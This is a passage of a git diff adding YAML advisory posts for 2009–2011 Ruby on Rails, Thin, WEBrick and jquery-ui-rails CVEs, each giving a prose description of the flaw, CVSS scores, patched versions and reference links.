+  date: 2017-10-24
+  description: |
+    The example code for the digest authentication functionality
+    (http_authentication.rb) in Ruby on Rails before 2.3.3 defines
+    an authenticate_or_request_with_http_digest block that returns
+    nil instead of false when the user does not exist, which allows
+    context-dependent attackers to bypass authentication for
+    applications that are derived from this example by sending an
+    invalid username without a password.
+  cvss_v2: 7.5
+  patched_versions:
+  - ">= 2.3.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-2422
+    - http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/51528
+    - https://github.com/advisories/GHSA-rxq3-gm4p-5fj4
+    - https://lists.apple.com/archives/security-announce/2010/Mar/msg00001.html
+    - http://support.apple.com/kb/HT4077
+    - http://n8.tumblr.com/post/117477059/security-hole-found-in-rails-2-3s
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2009-3009.md b/advisories/_posts/2017-10-24-CVE-2009-3009.md
new file mode 100644
index 00000000..727d7c50
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2009-3009.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2009-3009 (activesupport): Moderate severity XSS vulnerability that affects
+  rails'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2009-3009
+  osvdb: 57666
+  ghsa: 8qrh-h9m2-5fvf
+  url: http://weblog.rubyonrails.org/2009/9/4/xss-vulnerability-in-ruby-on-rails
+  title: Moderate severity XSS vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    Cross-site scripting (XSS) vulnerability in Ruby on Rails 2.x before
+    2.2.3, and 2.3.x before 2.3.4, allows remote attackers to inject arbitrary
+    web script or HTML by placing malformed Unicode strings into a form helper.
+
+    9/4/2009 url mentions patches for 2.0, 2.1, 2.2, and 2.3 series.
+  unaffected_versions:
+  - "< 2.0.0"
+  patched_versions:
+  - "~> 2.2.3"
+  - ">= 2.3.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-3009
+    - http://weblog.rubyonrails.org/2009/9/4/xss-vulnerability-in-ruby-on-rails
+    - https://groups.google.com/g/rubyonrails-security/c/SKs_SiwWGQ8/m/tNHhlHfNV38J
+    - http://www.osvdb.org/57666
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/53036
+    - https://github.com/advisories/GHSA-8qrh-h9m2-5fvf
+    - http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=545063
+    - https://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html
+    - http://support.apple.com/kb/HT4077
+    - https://lists.opensuse.org/opensuse-security-announce/2009-10/msg00004.html
+    - http://www.debian.org/security/2009/dsa-1887
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2009-3086.md b/advisories/_posts/2017-10-24-CVE-2009-3086.md
new file mode 100644
index 00000000..0efbb894
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2009-3086.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2009-3086 (activesupport): actionpack and activesupport vulnerable to
+  information leaks'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2009-3086
+  ghsa: fg9w-g6m4-557j
+  url: http://weblog.rubyonrails.org/2009/9/4/timing-weakness-in-ruby-on-rails
+  title: actionpack and activesupport vulnerable to information leaks
+  date: 2017-10-24
+  description: |
+    A certain algorithm in Ruby on Rails 2.1.0 through 2.2.2, and 2.3.x
+    before 2.3.4, leaks information about the complexity of message-digest
+    signature verification in the cookie store, which might allow remote
+    attackers to forge a digest via multiple attempts.
+  cvss_v2: 5.0
+  unaffected_versions:
+  - "< 2.1.0"
+  patched_versions:
+  - "~> 2.2.3"
+  - ">= 2.3.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-3086
+    - http://weblog.rubyonrails.org/2009/9/4/timing-weakness-in-ruby-on-rails
+    - https://github.com/advisories/GHSA-fg9w-g6m4-557j
+    - http://lists.opensuse.org/opensuse-security-announce/2009-10/msg00004.html
+    - http://www.debian.org/security/2011/dsa-2260
+    - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/CVE-2009-3086.yml
+    - https://github.com/rails/rails/commit/1f07a89c5946910fc28ea5ccd1da6af8a0f972a0
+    - https://github.com/rails/rails/commit/674f780d59a5a7ec0301755d43a7b277a3ad2978
+    - https://github.com/rails/rails/commit/d460c9a25560f43e7c3789abadf7b455053eb686
+    - https://web.archive.org/web/20090906010200/http://www.vupen.com/english/advisories/2009/2544
+    - https://web.archive.org/web/20090907001716/http://secunia.com/advisories/36600
+    - https://web.archive.org/web/20200229150042/http://www.securityfocus.com/bid/37427
+    - https://github.com/advisories/GHSA-fg9w-g6m4-557j
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2009-3287.md b/advisories/_posts/2017-10-24-CVE-2009-3287.md
new file mode 100644
index 00000000..96917897
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2009-3287.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2009-3287 (thin): High severity vulnerability that affects thin'
+comments: false
+categories:
+- thin
+advisory:
+  gem: thin
+  cve: 2009-3287
+  ghsa: j24p-r6wx-r79w
+  url: http://github.com/macournoyer/thin/blob/master/CHANGELOG
+  title: High severity vulnerability that affects thin
+  date: 2017-10-24
+  description: |
+    lib/thin/connection.rb in Thin web server before 1.2.4 relies on the
+    X-Forwarded-For header to determine the IP address of the client,
+    which allows remote attackers to spoof the IP address and hide
+    activities via a modified X-Forwarded-For header.
+  cvss_v2: 7.5
+  patched_versions:
+  - ">= 1.2.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-3287
+    - http://github.com/macournoyer/thin/blob/master/CHANGELOG
+    - http://github.com/macournoyer/thin/commit/7bd027914c5ffd36bb408ef47dc749de3b6e063a
+    - https://github.com/advisories/GHSA-j24p-r6wx-r79w
+    - http://www.openwall.com/lists/oss-security/2009/09/12/1
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2009-4214.md b/advisories/_posts/2017-10-24-CVE-2009-4214.md
new file mode 100644
index 00000000..95552320
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2009-4214.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2009-4214 (rails): Moderate severity XSS vulnerability that affects rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2009-4214
+  ghsa: 9p3v-wf2w-v29c
+  url: http://weblog.rubyonrails.org/2009/11/30/ruby-on-rails-2-3-5-released
+  title: Moderate severity XSS vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    Cross-site scripting (XSS) vulnerability in the strip_tags function
+    in Ruby on Rails before 2.2.s, and 2.3.x before 2.3.5, allows remote
+    attackers to inject arbitrary web script or HTML via vectors involving
+    non-printing ASCII characters,related to HTML::Tokenizer and
+    actionpack/lib/action_controller/vendor/html-scanner/html/node.rb.
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 2.2.2"
+  - ">= 2.3.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-4214
+    - http://weblog.rubyonrails.org/2009/11/30/ruby-on-rails-2-3-5-released
+    - https://groups.google.com/g/rubyonrails-security/c/TU9x8q70wKs
+    - http://github.com/rails/rails/commit/bfe032858077bb2946abe25e95e485ba6da86bd5
+    - https://github.com/advisories/GHSA-9p3v-wf2w-v29c
+    - http://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html
+    - http://support.apple.com/kb/HT4077
+    - http://lists.opensuse.org/opensuse-security-announce/2010-03/msg00004.htm
+    - http://www.debian.org/security/2011/dsa-2260
+    - http://www.debian.org/security/2011/dsa-2301
+    - http://www.openwall.com/lists/oss-security/2009/11/27/2
+    - http://www.openwall.com/lists/oss-security/2009/12/08/3
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2009-4492.md b/advisories/_posts/2017-10-24-CVE-2009-4492.md
new file mode 100644
index 00000000..4e0638de
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2009-4492.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2009-4492 (webrick): WEBrick Improper Input Validation vulnerability'
+comments: false
+categories:
+- webrick
+advisory:
+  gem: webrick
+  cve: 2009-4492
+  ghsa: 6mq2-37j5-w6r6
+  url: https://github.com/advisories/GHSA-6mq2-37j5-w6r6
+  title: WEBrick Improper Input Validation vulnerability
+  date: 2017-10-24
+  description: |
+    WEBrick 1.3.1 in Ruby 1.8.6 through patchlevel 383, 1.8.7 through patchlevel
+    248, 1.8.8dev, 1.9.1 through patchlevel 376, and 1.9.2dev writes data to a log file
+    without sanitizing non-printable characters, which might allow remote attackers
+    to modify a window's title, or possibly execute arbitrary commands or overwrite
+    files, via an HTTP request containing an escape sequence for a terminal emulator.
+  cvss_v2: 7.5
+  patched_versions:
+  - ">= 1.4.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-4492
+    - https://github.com/advisories/GHSA-6mq2-37j5-w6r6
+    - http://www.redhat.com/support/errata/RHSA-2011-0908.html
+    - http://www.redhat.com/support/errata/RHSA-2011-0909.html
+    - http://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection
+    - http://www.ush.it/team/ush/hack_httpd_escape/adv.txt
+    - https://web.archive.org/web/20100113155532/http://www.vupen.com/english/advisories/2010/0089
+    - https://web.archive.org/web/20100815010948/http://secunia.com/advisories/37949
+    - https://web.archive.org/web/20170402100552/http://securitytracker.com/id?1023429
+    - https://web.archive.org/web/20170908140655/http://www.securityfocus.com/archive/1/508830/100/0/threaded
+    - https://web.archive.org/web/20200228145937/http://www.securityfocus.com/bid/37710
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2010-3933.md b/advisories/_posts/2017-10-24-CVE-2010-3933.md
new file mode 100644
index 00000000..8efe13cb
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2010-3933.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2010-3933 (activerecord): Security Vulnerability in Nested Attributes
+  code in Ruby On Rails 2.3.9 and 3.0.0'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2010-3933
+  ghsa: gjxw-5w2q-7grf
+  url: http://weblog.rubyonrails.org/2010/10/15/security-vulnerability-in-nested-attributes-code-in-ruby-on-rails-2-3-9-and-3-0-0
+  title: Security Vulnerability in Nested Attributes code in Ruby On Rails 2.3.9 and
+    3.0.0
+  date: 2017-10-24
+  description: |
+    Ruby on Rails 2.3.9 and 3.0.0 does not properly handle nested
+    attributes, which allows remote attackers to modify arbitrary
+    records by changing the names of parameters for form inputs.
+
+    Patches are available for 2.3 and 3.0 series.
+  cvss_v2: 6.4
+  unaffected_versions:
+  - "< 2.3.9"
+  patched_versions:
+  - "~> 2.3.9"
+  - ">= 3.0.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-3933
+    - http://weblog.rubyonrails.org/2010/10/15/security-vulnerability-in-nested-attributes-code-in-ruby-on-rails-2-3-9-and-3-0-0
+    - https://github.com/advisories/GHSA-gjxw-5w2q-7grf
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/41930
+    - https://web.archive.org/web/20201208053819/http://securitytracker.com/id?1024624
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2010-5312.md b/advisories/_posts/2017-10-24-CVE-2010-5312.md
new file mode 100644
index 00000000..b31a0cb9
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2010-5312.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2010-5312 (jquery-ui-rails): Cross-site Scripting in jquery-ui'
+comments: false
+categories:
+- jquery-ui-rails
+advisory:
+  gem: jquery-ui-rails
+  cve: 2010-5312
+  ghsa: wcm2-9c89-wmfm
+  url: https://nvd.nist.gov/vuln/detail/CVE-2010-5312
+  title: Cross-site Scripting in jquery-ui
+  date: 2017-10-24
+  description: |
+    Cross-site scripting (XSS) vulnerability in jquery.ui.dialog.js in
+    the Dialog widget in jQuery UI before 1.10.0 allows remote attackers
+    to inject arbitrary web script or HTML via the title option.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 4.0.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-5312
+    - https://github.com/jquery-ui-rails/jquery-ui-rails/commit/61a8e3f50796118e9f49fbd224b67d4065b40c50
+    - http://bugs.jqueryui.com/ticket/6016
+    - https://github.com/jquery/jquery-ui/commit/7e9060c109b928769a664dbcc2c17bd21231b6f3
+    - https://security.netapp.com/advisory/ntap-20190416-0007
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98696
+    - https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f
+    - https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442
+    - http://rhn.redhat.com/errata/RHSA-2015-0442.html
+    - http://rhn.redhat.com/errata/RHSA-2015-1462.html
+    - http://seclists.org/oss-sec/2014/q4/613
+    - http://seclists.org/oss-sec/2014/q4/616
+    - http://www.debian.org/security/2015/dsa-3249
+    - https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc
+    - https://lists.debian.org/debian-lts-announce/2022/01/msg00014.html
+    - https://www.drupal.org/sa-core-2022-002
+    - https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f
+    - https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442
+    - https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/
+    - http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html
+    - https://web.archive.org/web/20150316023043/http://www.securityfocus.com/bid/71106
+    - https://web.archive.org/web/20170316161850/http://www.securitytracker.com/id/1037035
+    - https://github.com/advisories/GHSA-wcm2-9c89-wmfm
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-0446.md b/advisories/_posts/2017-10-24-CVE-2011-0446.md
new file mode 100644
index 00000000..12ef97b1
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-0446.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2011-0446 (actionview): XSS vulnerabilities in the mail_to helper in rails/actionview'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2011-0446
+  ghsa: 75w6-p6mg-vh8j
+  url: https://groups.google.com/g/rubyonrails-security/c/8CpI7egxX4E/m/SmtqtyOKWzYJ
+  title: XSS vulnerabilities in the mail_to helper in rails/actionview
+  date: 2017-10-24
+  description: |
+    Multiple cross-site scripting (XSS) vulnerabilities in the mail_to
+    helper in Ruby on Rails before 2.3.11, and 3.x before 3.0.4, when
+    javascript encoding is used, allow remote attackers to inject
+    arbitrary web script or HTML via a crafted (1) name or (2) email value.
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 2.3.11"
+  - ">= 3.0.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0446
+    - https://groups.google.com/g/rubyonrails-security/c/8CpI7egxX4E/m/SmtqtyOKWzYJ
+    - https://github.com/advisories/GHSA-75w6-p6mg-vh8j
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055074.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055088.html
+    - http://www.debian.org/security/2011/dsa-2247
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43274
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43666
+    - https://web.archive.org/web/20201208053819/http://www.securitytracker.com/id?1025064
+    - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/46291
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-0447.md b/advisories/_posts/2017-10-24-CVE-2011-0447.md
new file mode 100644
index 00000000..22018235
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-0447.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2011-0447 (actionpack): CSRF Protection Bypass in Ruby on Rails'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2011-0447
+  ghsa: 24fg-p96v-hxh8
+  url: http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails
+  title: CSRF Protection Bypass in Ruby on Rails
+  date: 2017-10-24
+  description: |
+    Ruby on Rails 2.1.x, 2.2.x, and 2.3.x before 2.3.11, and
+    3.x before 3.0.4, does not properly validate HTTP requests that
+    contain an X-Requested-With header, which makes it easier for
+    remote attackers to conduct cross-site request forgery (CSRF)
+    attacks via forged (1) AJAX or (2) API requests that leverage
+    "combinations of browser plugins and HTTP redirects,"
+    a related issue to CVE-2011-0696.
+  cvss_v2: 6.8
+  unaffected_versions:
+  - "< 2.1.0"
+  patched_versions:
+  - "~> 2.3.11"
+  - ">= 3.0.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0447
+    - http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails
+    - https://groups.google.com/g/rubyonrails-security/c/LZWjzCPgNmU/m/HBgNjGahLsIJ
+    - https://github.com/advisories/GHSA-24fg-p96v-hxh8
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055074.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055088.html
+    - https://bugzilla.redhat.com/show_bug.cgi?id=677631
+    - http://www.debian.org/security/2011/dsa-2247
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43274
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43666
+    - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/46291
+    - https://web.archive.org/web/20201208053819/http://www.securitytracker.com/id?1025060
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-0448.md b/advisories/_posts/2017-10-24-CVE-2011-0448.md
new file mode 100644
index 00000000..b833860f
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-0448.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2011-0448 (activerecord): Potential SQL Injection with limit in rails/activerecord'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2011-0448
+  ghsa: jmm9-2p29-vh2w
+  url: http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4
+  title: Potential SQL Injection with limit in rails/activerecord
+  date: 2017-10-24
+  description: |
+    Ruby on Rails 3.0.x before 3.0.4 does not ensure that arguments to
+    the limit function specify integer values, which makes it easier
+    for remote attackers to conduct SQL injection attacks via a
+    non-numeric argument.
+  cvss_v2: 7.5
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - "~> 2.3.11"
+  - "> 3.0.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0448
+    - http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4
+    - https://groups.google.com/g/rubyonrails-security/c/tliQLPa_Tu0/m/rUCt9kyGGU4J
+    - https://github.com/advisories/GHSA-jmm9-2p29-vh2w
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43278
+    - https://web.archive.org/web/20201208053819/http://securitytracker.com/id?1025063
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-0449.md b/advisories/_posts/2017-10-24-CVE-2011-0449.md
new file mode 100644
index 00000000..8b87ed39
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-0449.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2011-0449 (actionpack): Filter Problems on Case-Insensitive Filesystems
+  in rails/actionpack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2011-0449
+  ghsa: 4ww3-3rxj-8v6q
+  url: http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4
+  title: Filter Problems on Case-Insensitive Filesystems in rails/actionpack
+  date: 2017-10-24
+  description: |
+    actionpack/lib/action_view/template/resolver.rb in Ruby on Rails 3.0.x
+    before 3.0.4, when a case-insensitive filesystem is used, does not
+    properly implement filters associated with the list of available
+    templates, which allows remote attackers to bypass intended access
+    restrictions via an action name that uses an unintended case for
+    alphabetic characters.
+  cvss_v2: 7.5
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - ">= 3.0.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0449
+    - http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4
+    - https://github.com/rails/rails/commit/6f80224057803f85b3f448936aae89e742452c3b
+    - https://groups.google.com/g/rubyonrails-security/c/Ni8fvBdhszY/m/T1vfhC5bNAQJ
+    - https://github.com/advisories/GHSA-4ww3-3rxj-8v6q
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html
+    - https://bugzilla.redhat.com/show_bug.cgi?id=679351
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43278
+    - https://web.archive.org/web/20201208053819/http://securitytracker.com/id?1025061
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-2197.md b/advisories/_posts/2017-10-24-CVE-2011-2197.md
new file mode 100644
index 00000000..9384d329
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-2197.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2011-2197 (activesupport): Potential XSS Vulnerability in Ruby on Rails
+  Applications'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2011-2197
+  ghsa: v9v4-7jp6-8c73
+  url: http://weblog.rubyonrails.org/2011/6/8/potential-xss-vulnerability-in-ruby-on-rails-applications
+  title: Potential XSS Vulnerability in Ruby on Rails Applications
+  date: 2017-10-24
+  description: |
+    The cross-site scripting (XSS) prevention feature in Ruby on Rails 2.x
+    before 2.3.12, 3.0.x before 3.0.8, and 3.1.x before 3.1.0.rc2 does
+    not properly handle mutation of safe buffers, which makes it easier
+    for remote attackers to conduct XSS attacks via crafted strings to an
+    application that uses a problematic string method, as demonstrated
+    by the sub method.
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 2.3.12"
+  - ">= 3.0.8"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-2197
+    - http://weblog.rubyonrails.org/2011/6/8/potential-xss-vulnerability-in-ruby-on-rails-applications
+    - https://github.com/rails/rails/commit/53a2c0baf2b128dd4808eca313256f6f4bb8c4cd
+    - https://github.com/rails/rails/commit/ed3796434af6069ced6a641293cf88eef3b284da
+    - https://groups.google.com/g/rubyonrails-security/c/LlFuesyWxPs/m/1OBxRA1gO2YJ
+    - https://gist.github.com/NZKoz/b2ceb626fc2bcdfe497f
+    - https://github.com/advisories/GHSA-v9v4-7jp6-8c73
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-July/062514.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-June/062090.html
+    - http://openwall.com/lists/oss-security/2011/06/09/2
+    - http://openwall.com/lists/oss-security/2011/06/13/9
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-2929.md b/advisories/_posts/2017-10-24-CVE-2011-2929.md
new file mode 100644
index 00000000..a46d8bee
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-2929.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2011-2929 (actionpack): Filter Skipping Vulnerability in Ruby on Rails
+  3.0/actionpack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2011-2929
+  ghsa: r7q2-5gqg-6c7q
+  url: https://rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+  title: Filter Skipping Vulnerability in Ruby on Rails 3.0/actionpack
+  date: 2017-10-24
+  description: |
+    The template selection functionality in
+    actionpack/lib/action_view/template/resolver.rb in Ruby on Rails
+    3.0.x before 3.0.10 and 3.1.x before 3.1.0.rc6 does not properly
+    handle glob characters, which allows remote attackers to render
+    arbitrary views via a crafted URL, related to a
+    "filter skipping vulnerability."
+  cvss_v2: 5.0
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - "~> 3.0.10"
+  - "~> 3.1.0.rc6"
+  - ">= 3.1.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-2929
+    - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+    - https://github.com/rails/rails/commit/5f94b93279f6d0682fafb237c301302c107a9552
+    - https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY/m/Ya9-T266u8sJ
+    - https://bugzilla.redhat.com/show_bug.cgi?id=731432
+    - https://github.com/advisories/GHSA-r7q2-5gqg-6c7q
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065109.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html
+    - http://www.openwall.com/lists/oss-security/2011/08/17/1
+    - http://www.openwall.com/lists/oss-security/2011/08/19/11
+    - http://www.openwall.com/lists/oss-security/2011/08/20/1
+    - http://www.openwall.com/lists/oss-security/2011/08/22/13
+    - http://www.openwall.com/lists/oss-security/2011/08/22/14
+    - http://www.openwall.com/lists/oss-security/2011/08/22/5
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-2930.md b/advisories/_posts/2017-10-24-CVE-2011-2930.md
new file mode 100644
index 00000000..4268137e
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-2930.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2011-2930 (activerecord): SQL Injection Vulnerability in quote_table_name
+  in rails/activerecord'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2011-2930
+  ghsa: h6w6-xmqv-7q78
+  url: http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+  title: SQL Injection Vulnerability in quote_table_name in rails/activerecord
+  date: 2017-10-24
+  description: |
+    Multiple SQL injection vulnerabilities in the
+    quote_table_name method in the ActiveRecord adapters in
+    activerecord/lib/active_record/connection_adapters in Ruby on Rails
+    before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allow
+    remote attackers to execute arbitrary SQL commands via a crafted column name.
+  cvss_v2: 7.5
+  patched_versions:
+  - "~> 2.3.13"
+  - "~> 3.0.10"
+  - "~> 3.1.0.rc5"
+  - ">= 3.1.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-2930
+    - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+    - https://groups.google.com/g/rubyonrails-security/c/ah5HN0S8OJs/m/MN35sDZdqLEJ
+    - https://github.com/rails/rails/commit/8a39f411dc3c806422785b1f4d5c7c9d58e4bf85
+    - https://github.com/advisories/GHSA-h6w6-xmqv-7q78
+    - https://bugzilla.redhat.com/show_bug.cgi?id=731438
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html
+    - http://www.debian.org/security/2011/dsa-2301
+    - http://www.openwall.com/lists/oss-security/2011/08/17/1
+    - http://www.openwall.com/lists/oss-security/2011/08/19/11
+    - http://www.openwall.com/lists/oss-security/2011/08/20/1
+    - http://www.openwall.com/lists/oss-security/2011/08/22/13
+    - http://www.openwall.com/lists/oss-security/2011/08/22/14
+    - http://www.openwall.com/lists/oss-security/2011/08/22/5
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-2931.md b/advisories/_posts/2017-10-24-CVE-2011-2931.md
new file mode 100644
index 00000000..2ee20b81
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-2931.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2011-2931 (actionpack): XSS Vulnerability in strip_tags helper in rails/actionpack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2011-2931
+  ghsa: v5jg-558j-q67c
+  url: http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+  title: XSS Vulnerability in strip_tags helper in rails/actionpack
+  date: 2017-10-24
+  description: |
+    Cross-site scripting (XSS) vulnerability in the strip_tags helper
+    in actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
+    in Ruby on Rails before 2.3.13, 3.0.x before 3.0.10, and 3.1.x
+    before 3.1.0.rc5 allows remote attackers to inject arbitrary web
+    script or HTML via a tag with an invalid name.
+  cvss_v2: 4.3
+  unaffected_versions:
+  - "< 2.0.0"
